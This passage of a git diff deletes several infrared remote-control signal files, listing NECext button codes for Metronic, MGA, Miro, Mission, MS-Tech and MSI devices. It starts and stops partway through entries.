-protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: red1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: green1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: blue4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: red2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: blue1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: purple1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: orange -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: blue2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: blue3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: strobe -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: smooth -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: flash -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: fade -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: purple2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: purple3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir deleted file mode 100644 index 3d79930fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 03 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0E 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 14 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1E 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 40 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 41 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 44 00 00 00 -# -name: TTX -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 45 00 00 00 -# -name: A>B -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir deleted file mode 100644 index 9bac687b4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 03 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 06 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 07 00 00 00 -# -name: TB -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 0A 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 0F 00 00 00 -# -name: VOL -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 10 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 12 00 00 00 -# -name: FREQ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 13 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 14 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 15 00 00 00 -# -name: PE -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 16 00 00 00 -# -name: OFFSET -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 19 00 00 00 -# -name: H/V -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 1C 00 00 00 -# -name: KEY_2KHZ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 1D 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 1E 00 00 00 -# -name: LNB_A/B -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir deleted file mode 100644 index 46f76ed78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 04 00 00 00 -# -name: VIDEO/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 05 00 00 00 -# -name: SLOW_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0C 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 11 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 19 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: U1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 21 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: U2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 29 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: U3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 31 00 00 00 -# -name: FF_ADVANCE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: U4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir deleted file mode 100644 index 87f4f64a3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_0_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir deleted file mode 100644 index 500143c6e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir deleted file mode 100644 index 5dd033d27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 01 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 02 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 03 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 05 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 14 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 18 00 00 00 -# -name: MORE -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1D 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1F 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 40 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 41 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 42 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 46 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 47 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 50 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 52 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 53 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 54 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 55 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 57 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 58 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 59 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5D 00 00 00 -# -name: BLACK_MYRADIO -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5E 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir deleted file mode 100644 index 3a70e9841..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 01 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 02 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 03 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 05 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 14 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 18 00 00 00 -# -name: more -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1D 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1E 00 00 00 -# -name: mypicture -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 1F 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 40 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 41 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 42 00 00 00 -# -name: raute -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 46 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 47 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 50 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 52 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 53 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 54 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 55 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 57 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 58 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 59 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5B 00 00 00 -# -name: myvideo -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5D 00 00 00 -# -name: myradio -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5E 00 00 00 -# -name: mymusic -type: parsed -protocol: NECext -address: 00 5F 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir deleted file mode 100644 index 3c17ebae1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: T-Shift -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: HiFi -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: Mts/Srs -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 40 00 00 00 -# -name: Fm/Am -type: parsed -protocol: NECext -address: 86 6B 00 00 